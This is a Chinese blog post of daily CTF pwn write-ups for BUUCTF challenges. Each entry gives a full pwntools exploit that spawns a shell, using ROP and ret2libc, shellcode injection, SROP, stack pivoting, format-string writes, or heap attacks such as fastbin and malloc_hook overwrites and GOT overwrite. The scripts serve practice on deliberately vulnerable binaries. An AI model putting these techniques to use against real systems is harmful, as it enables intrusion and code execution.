0%

buu每日一题(1)

buu每日一题(1)

形成题感把,,,每天必须做一道

1. jarvisoj_level2

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process("./level2")
p=remote("node3.buuoj.cn",29936)

system = 0x08048320
binsh = 0x0804A024
payload = (0x88+0x4)*'a' + p32(system) + p32(0)+p32(binsh)

p.recvuntil("Input:")
p.sendline(payload)
p.interactive()

2. jarvisoj_level2_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = process("./level2_x64")
p=remote("node3.buuoj.cn",29525)

system = 0x0004004C0
binsh = 0x0000000600A90
pop_rdi = 0x00000000004006b3

payload = (0x80+0x8)*'a' + p64(pop_rdi)+ p64(binsh)+ p64(system)

p.recvuntil("Input:")
p.sendline(payload)
p.interactive()

3. ciscn_2019_n_5

这道题是ret2shellcode,nx没有开

shellcraft.sh()需要设置好context

context(os='linux', arch='amd64', log_level='debug'),否则可能不太行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = process("./ciscn_2019_n_5")
context(os='linux', arch='amd64', log_level='debug')

p=remote("node3.buuoj.cn",26381)

p.recvuntil("tell me your name")
payload = asm(shellcraft.sh())
log.success(len(payload))
p.sendline(payload)

p.recvuntil("ant to say to me?")
payload = 'a'*(0x20+0x8)+p64(0x0601080)
p.sendline(payload)

p.interactive()

4. 铁人三项(第五赛区)_2018_rop

简单的rop,栈溢出调用write泄露地址,然后继续main调用system

注意参数,,,,不要写错,,,

然后libc用libcsearcher的话,和本低是不一样的,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')

p = process("./2018_rop")
p = remote("node3.buuoj.cn",26162)

elf = ELF("./2018_rop")

write_plt = elf.plt['write']
getegid_got = elf.got['getegid']

log.success("plt:"+hex(write_plt))
# log.success("got:"+hex(write_got))

main = 0x080484C6

payload = 'a'*(0x88+0x4) + p32(write_plt)+ p32(main) + p32(1)+p32(getegid_got)+p32(0x4)
p.sendline(payload)

getegid_addr = u32(p.recv()[:4])
log.success(hex(getegid_addr))

obj = LibcSearcher("getegid",getegid_addr)
libc_base = getegid_addr - obj.dump('getegid')
system = obj.dump("system") + libc_base
binsh = obj.dump("str_bin_sh") + libc_base

log.success(hex(libc_base))
log.success(hex(system))
log.success(hex(binsh))

payload = 'a'*(0x88+0x4) +p32(system)+ p32(main) +p32(binsh)
p.sendline(payload)

p.interactive()

5. jarvisoj_fm

简单的格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = process("./fm")
context(os='linux', arch='i386', log_level='debug')

p=remote("node3.buuoj.cn",26413)

#The index of format argument : 12 ("\%11$p")
offset = 11
x= 0x0804a02c
payload = fmtstr_payload(offset,{x:4})
p.sendline(payload)

p.interactive()

6. others_shellcode

运行就能拿到flag

7. bjdctf_2020_babyrop

64位的rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
# = process("./bjdctf_2020_babyrop")
p= remote("node3.buuoj.cn",25380)
elf = ELF("./bjdctf_2020_babyrop")
context(os = 'linux',arch='amd64',log_level ='debug')

puts_plt = elf.plt['puts']
read_got = elf.got['read']

main = elf.symbols['main']
pop_rdi = 0x0000000000400733
#gdb.attach(p)

p.recvuntil("story")
payload = 0x28*'a' + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main)
p.sendline(payload)


sleep(0.3)
read_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

log.success("puts:"+hex((read_addr)))

obj = LibcSearcher("read",(read_addr))
libc_base = read_addr - obj.dump("read")
system = libc_base + obj.dump("system")
binsh = libc_base + obj.dump("str_bin_sh")

payload = 0x28*'a' + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main)
p.sendline(payload)

p.interactive()

8. pwn2_sctf_2016

还是rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
p = process("./pwn2_sctf_2016")
p= remote("node3.buuoj.cn",28641)
elf = ELF("./pwn2_sctf_2016")
context(os = 'linux',arch='i386',log_level ='debug')

p.recvuntil("read?")
p.sendline("-1")

printf_plt = elf.plt['printf']
getchar_got = elf.got['getchar']
main = elf.symbols['main']

payload = 'a'*(0x2c+0x4) + p32(printf_plt) + p32(main) + p32(getchar_got)
p.recvuntil("data!")

#gdb.attach(p)
p.sendline(payload)
getchar_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(getchar_addr))

obj = LibcSearcher("getchar",getchar_addr)
libc_base = getchar_addr - obj.dump("getchar")
system = obj.dump("system") + libc_base
binsh = obj.dump("str_bin_sh") + libc_base

p.recvuntil("read?")
p.sendline("-1")

payload = 'a'*(0x2c+0x4) + p32(system) + p32(main) + p32(binsh)
p.sendline(payload)

p.interactive()

9. ciscn_2019_ne_5

栈溢出,addlog输入字符串,getflag里溢出了,,,

程序给了system,但是没给binsh,,,不知道为什么”;/bin/sh”不可以用,,,迷惑,然后自己就多走了一步,还可以用fflush的sh来做参数

image-20210325123806085

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')

p = process("./ciscn_2019_ne_5")
p = remote("node3.buuoj.cn",25749)

elf = ELF("./ciscn_2019_ne_5")

p.recvuntil("password:")
p.sendline("administrator")

p.recvuntil("0.Exit\n:")
p.sendline("1")
system = elf.plt['system']
main = elf.symbols['main']

printf_got = elf.got['printf']
puts_plt = elf.plt['puts']

binsh = 0x080482ea
#payload = "a"*(0x48+4)+p32(puts_plt)+p32(main)+p32(printf_got)
payload = "a"*(0x48+4)+p32(system)+p32(main)+p32(binsh)

p.sendline(payload)

p.recvuntil("0.Exit\n:")
p.sendline("4")

# printf_addr = u32(p.recvuntil("\xf7")[-4:])
# print(hex(printf_addr))

# obj = LibcSearcher("printf",printf_addr)
# libc_base = printf_addr - obj.dump("printf")
# system_addr = libc_base + obj.dump("system")
# binsh = libc_base + obj.dump("str_bin_sh")

# p.sendline("administrator")
# p.recvuntil("0.Exit\n:")
# p.sendline("1")
# payload = "a"*(0x48+4)+p32(system_addr)+p32(main)+p32(binsh)
# p.sendline(payload)

# p.recvuntil("0.Exit\n:")
# p.sendline("4")

#gdb.attach(p)

p.interactive()

10. jarvisoj_level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
p = process("./level3")
p= remote("node3.buuoj.cn",27215)
elf = ELF("./level3")
context(os = 'linux',arch='i386',log_level ='debug')

p.recvuntil("Input:\n")
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
main = elf.symbols['main']

payload = "a"*(0x88+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(0x4)
p.sendline(payload)

read_addr = u32(p.recv()[:4])
print(hex(read_addr))

obj = LibcSearcher("read",read_addr)
libc_base = read_addr - obj.dump("read")
system = libc_base + obj.dump("system")
binsh = libc_base + obj.dump("str_bin_sh")

payload = "a"*(0x88+0x4)+p32(system)+p32(main)+p32(binsh)
p.sendline(payload)

p.interactive()

11. jarvisoj_tell_me_something

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
p = process("./guestbook")
p= remote("node3.buuoj.cn",27801)
elf = ELF("./guestbook")
context(os = 'linux',arch='amd64',log_level ='debug')

pop_rdi = 0x00000000004006f3
write_got = elf.got['write']
write_plt = elf.plt['write']
main = elf.symbols['main']
pop_rsi_r15_ret = 0x00000000004006f1

p.recvuntil("Input your message:\n")
# gdb.attach(p)
payload = (0x88)*'a'+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
p.sendline(payload)

write_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

print(hex(write_addr))

obj = LibcSearcher("write",write_addr)
libc_base = write_addr - obj.dump("write")
system = libc_base + obj.dump("system")
binsh = libc_base + obj.dump("str_bin_sh")


p.recvuntil("Input your message:\n")
# gdb.attach(p)
payload = (0x88)*'a'+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)

p.interactive()

12. ciscn_2019_s_3

比较有意思的题目,,,,一开始忽略了gadget,,,,就没想到,,,

image-20210326220901432

有两个gadget,就导致了有两种解法

解法1:ret2csu

一开始有栈溢出,,,

然后有gadget可以设置rax,syscall执行evecve

所以只需要设置参数,rdi,rdx和rsi

rdi有gadget,但是rdx没有,,,所以为了设置rdx,使用了万能gadget

binsh地址的泄漏是因为输入的地址是rsp-0x10,,,所以两个“/bin/sh\x00”后就可以把rbp/rsp的地址带出来

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
p = process("./ciscn_s_3")
elf = process("./ciscn_s_3")
context.log_level = 'debug'

vuln = 0x04004ED

payload = "/bin/sh\x00"*2 + p64(vuln)
p.sendline(payload)

binsh = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') - 0x118
log.success(hex(binsh))

#second
pop_rax_59 = 0x004004E2
part1 = 0x00040059A
part2 = 0x0400580
pop_rdi = 0x00000000004005a3
syscall = 0x0000000000400501

payload = "/bin/sh\x00"*2 + p64(pop_rax_59)
payload += p64(part1)
payload += p64(0)
payload += p64(1)
payload += p64(binsh+0x10)#suiyi
payload += p64(0)#only low8
payload += p64(0)
payload += p64(0)
payload += p64(part2)
payload += 'a' * 56
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(syscall)
p.sendline(payload)

p.interactive()

解法2:srop

还有一个设置rax = 15的gadget,所以还可以使用srop,并且相比于ret2csu可以大大简化代码

因为参数的设置都在sigreturnframe里面。。。

主要不同主要在第二段代码里面。

直接pop_rax,syscall,这时候rsp的指向下面,,,str(sigframe),即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process("./ciscn_s_3")
elf = process("./ciscn_s_3")
context.log_level = 'debug'
context.arch = 'amd64'
vuln = 0x04004ED

payload = "/bin/sh\x00"*2 + p64(vuln)
p.sendline(payload)

binsh = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') - 0x118
log.success(hex(binsh))

#second
syscall = 0x0000000000400501
pop_rax_15 = 0x004004DA
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

payload = "/bin/sh\x00"*2 + p64(pop_rax_15)+p64(syscall) +str(sigframe)
p.sendline(payload)

p.interactive()

其实还是比较简单的题,恕在下无能

13. [HarekazeCTF2019]baby_rop2

就是简单又正常的rop,,,还给了libc,,,,

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

libc = ELF("./libc.so.6")
p = process("./babyrop2")
p= remote("node3.buuoj.cn",26780)
elf = ELF("./babyrop2")
context(os = 'linux',arch='amd64',log_level ='debug')

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']
pop_rdi = 0x0000000000400733


p.recvuntil("name?")
payload = 'a'*0x28 + p64(pop_rdi) + p64(read_got) + p64(printf_plt)+p64(main)
#gdb.attach(p)
p.sendline(payload)
read_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
print(hex(read_addr))

libc_base = read_addr - libc.sym['read']
system = libc.sym['system'] + libc_base
binsh = libc.search("/bin/sh").next() + libc_base
log.success(binsh)

p.recvuntil("name?")
payload = 'a'*0x28 + p64(pop_rdi) + p64(binsh) + p64(system)+p64(main)
p.sendline(payload)

p.interactive()

14. ez_pz_hackover_2016

思路很简单,,就是ret2shellcode的题目,这个可以想到,,,一般没开nx就是了,,,,但是算偏移的东西搞得我有点乱,,,,

栈溢出

emmm,ida里面给出的是错误的,,,所以用cyclic来算

1
2
3
4
5
6
#cyclic 100
payload = 'crashme'+'\x00'
payload += "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
#Invalid $PC address: 0x61666161
#winter@ubuntu:~/buu$ cyclic -l 0x61666161
#18

所以战役粗加上crashme,,,偏移量是18

shellcode偏移

先随便填之前泄漏的地址,,,,调试

1
2
3
4
payload = 'crashme'+'\x00'
payload += "a" * 18
payload += p32(addr)
payload += shellcode

image-20210328151124518

所以,,,之前泄漏的地址,和shellcode的地址差0x1c,只要addr - 0x1c即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'
p = process("./ez_pz_hackover_2016")
#= remote("node3.buuoj.cn",28694)
elf = ELF("./ez_pz_hackover_2016")
context(os = 'linux',arch='i386',log_level ='debug')

shellcode = asm(shellcraft.sh())
p.recvuntil("crash: 0x")
addr = int(p.recv(8),16)
print(hex(addr))

gdb.attach(p)
print(hex(addr+0x1e))
payload = 'crashme'+'\x00'
payload += "a" * 18
payload += p32(addr)
payload += shellcode
p.sendline(payload)

p.interactive()

15. ciscn_2019_es_2

wuwuwu,,,没做出来,感觉很简单,,,栈迁移

image-20210329213719581

两个相同的输入,,,

方法是第一个可以泄露ebp,,,然后后面的话,,,是覆盖main的返回地址,,,就很强,,,

image-20210329215328891

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')

p = process("./ciscn_2019_es_2")
p = remote("node3.buuoj.cn",27980)
elf = ELF("./ciscn_2019_es_2")

system = elf.sym['system']
bss = 0x0804A049
leave_ret = 0x080485FD

p.recvuntil("your name?")
payload = 'a' * 0x20 + 'b'*8
p.send(payload)

ebp = u32(p.recvuntil('\xff')[-4:])
print(hex(ebp))

#gdb.attach(p)

print(hex(ebp - 0x24))
payload = 'a'*8 + p32(ebp - 0x24) + 'bbbb' + p32(system) + 'cccc' + p32(ebp - 0x1c) + '/bin/sh\x00'
payload = payload.ljust(0x28,'p')
payload += p32(ebp - 0x2c)

p.send(payload)
p.interactive()

做过栈迁移的专题吧。。。。卡擦卡擦,,,停一下。。。

第一页over了。。。

image-20210329215437436


0.vn_pwn_simpleHeap

image-20201120094648513

image-20201120094808176

e = 7 + 7

1
2
3
4
add(0x18,'pppp')
add(0x60,'pppp')
add(0x60,'pppp')
add(0x10,'pppp')

image-20201120094858507

image-20201120094932009

程序以为只有三个了,因为0xe1把0x71覆盖了,但是0x71还是可以用的。

1
2
payload='p'*0x18+'\xe1'
edit(0,payload)

image-20201120095055903

放入了unsortedbin中

image-20201120095130576

1
delete(1)

image-20201120095223789

会把原来unsortedbin中上面的块分走,那么下面里面存放的fd和bk就可以通过原来第二个0x71来输出了。

image-20201120095331695

1
add(0x60,'pppp')

得到了unsortedbin的链表头,可以得到main_arena的地址和libc的地址。

1
2
3
4
5
6
7
8
9
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base=main_arena-0x3c4b20


libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+libc_one_gadget[1]
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['__libc_realloc']
fake_chunk=malloc_hook-0x23

image-20201120095807801

变回来了,但是第二个0x71有两个块同时指向chunk2和chunk4

1
add(0x60,'pppp')#5

double free?

image-20201120100035193

1
delete(4)

这时候,chunk2和chunk4指向同一个,chunk4被释放了,但是chunk2还在,可以fastbin attack?

image-20201120100330055

修改了fd指针

image-20201120100417281

1
2
payload=p64(fake_chunk)
edit(2,payload)

image-20201120100443552

申请回来

1
add(0x60,'pppp')

然后再申请会到下面这个地址里面,然后因为one_gadget的限制,所以需要利用realloc_hook。

方法:

  1. realloc填上one_gadget

  2. 再在malloc上填上对应的realloc调整地址(根据需要减少pop),malloc上面8个就是realloc

    第二部里面的realloc地址是在libc里面的函数地址,,,

image-20201120161711894

image-20201120155747244

1
2
payload='p'*0xb+p64(one_gadget)+p64(realloc+13)
add(0x60,payload)

https://bbs.pediy.com/thread-246786.htm


最后在申请一下,就的到shell了。

image-20201120155844851

1
2
3
4
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline("12")

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

context.log_level='debug'
p=process('./vn_pwn_simpleHeap')
#p=remote('node3.buuoj.cn',26521)
elf=ELF('./vn_pwn_simpleHeap')
libc=ELF('./libc-2.23.so')

def add(size,content):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(content)

def edit(idx,content):

p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(idx))
p.recvuntil('content:')
p.sendline(content)

def show(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(idx))

add(0x18,'pppp')
add(0x60,'pppp')
add(0x60,'pppp')
add(0x10,'pppp')

#fake chunk
payload='p'*0x18+'\xe1'
edit(0,payload)

delete(1)

add(0x60,'pppp')

#gdb.attach(p)
show(2)

main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base=main_arena-0x3c4b20


libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+libc_one_gadget[1]
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['__libc_realloc']
fake_chunk=malloc_hook-0x23


log.success("[*]libc_base"+hex(libc_base))
#gdb.attach(p)

add(0x60,'pppp')
delete(4)

payload=p64(fake_chunk)
edit(2,payload)



add(0x60,'pppp')


payload='p'*0xb+p64(one_gadget)+p64(realloc+13)
add(0x60,payload)
gdb.attach(p)
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline("12")

p.interactive()

不知道为什么本地打不通,但是远程莫得问题

-1.easyheap

前期保护

image-20201120173551508

64位的,没有开pie和relro,顿时觉得easy

没开pie,可以用elf里的plt和got表,没开relro,可以覆盖got表地址。

漏洞分析

image-20201120173920525

edit里面可以输入长度,造成堆溢出

image-20201120174112398

程序留有后面函数,,

image-20201120174142786

只要v3 == 4869,也就是选择输入的时候输入4869即可。并且让magic大于0x1305可以,unsortedbin可以实现向任意地址读入

方法一 unsortbin attack

首先申请了三个堆块,其中第二个要大于0x70为unsortbin

1
2
3
add(0x20,'aaaa')
add(0x80,'aaaa')
add(0x20,'aaaa')

然后将第二个释放,放入unsortbin中

1
delete(1)

利用堆溢出,将unsortbin内容修改,其中fd为任意,bk为目标地址 - 0x10

1
2
3
fd = 0
bk = magic - 0x10
edit(0,0x20+0x20,"a"*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))

接着,把我们的unsortbin申请回来,实现unsortbin attack

1
add(0x80,'aaaa')

然后,v3输入4869,此时magic已经是一个很大的数,就可以进入后面函数了。

1
2
3
4
p.recvuntil("Your choice :")
p.sendline("4869")

p.interactive()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

#p = process("./easyheap")
p = remote("node3.buuoj.cn","28942")
def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)

def edit(idx,size,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)

def delete(idx):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(idx))




add(0x20,'aaaa')
add(0x80,'aaaa')
add(0x20,'aaaa')


delete(1)

magic = 0x06020C0

fd = 0
bk = magic - 0x10
edit(0,0x20+0x20,"a"*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))
add(0x80,'aaaa')

p.recvuntil("Your choice :")
p.sendline("4869")

p.interactive()

image-20201120175326957

远程有点问题,,,所以要非预期解了。。。

方法二 fastbin修改got表

因为后面要申请到的是0x7f,所以刚开始创建0x68的

1
2
3
add(0x68,'aaaa')#0
add(0x68,'aaaa')#1
add(0x68,'aaaa')#2

然后释放掉一个块,用上一块块溢出到下一个块,将fd里面填入heaparray[i]附近的内容,再申请回来

1
2
3
4
5
6
delete(1)

payload = 'a'*0x60+p64(0)+p64(0x71)+p64(0x6020ad)
edit(0,len(payload),payload)

add(0x68,'aaaa')#1

往申请回来的块里面填入atoi的got表

1
2
payload = 'b'*35 + p64(elf.got['atoi'])
add(0x68,payload)

然后往got表里面填入system的plt表

1
2
payload = p64(elf.plt['system'])
edit(0,0x8,payload)

然后发送的时候,发送’/bin/sh’,即可。

1
2
3
p.recvuntil("Your choice :")
p.sendline('/bin/sh')
p.interactive()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")

p = remote("node3.buuoj.cn","28942")
def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)

def edit(idx,size,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)

def delete(idx):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(idx))

add(0x68,'aaaa')#0
add(0x68,'aaaa')#1
add(0x68,'aaaa')#2

delete(1)

payload = 'a'*0x60+p64(0)+p64(0x71)+p64(0x6020ad)
edit(0,len(payload),payload)

add(0x68,'aaaa')#1


payload = 'b'*35 + p64(elf.got['atoi'])
add(0x68,payload)

payload = p64(elf.plt['system'])
edit(0,0x8,payload)
p.recvuntil("Your choice :")
p.sendline('/bin/sh')
p.interactive()
Q:如果阅读本文需要付费,你是否愿意为此支付1元?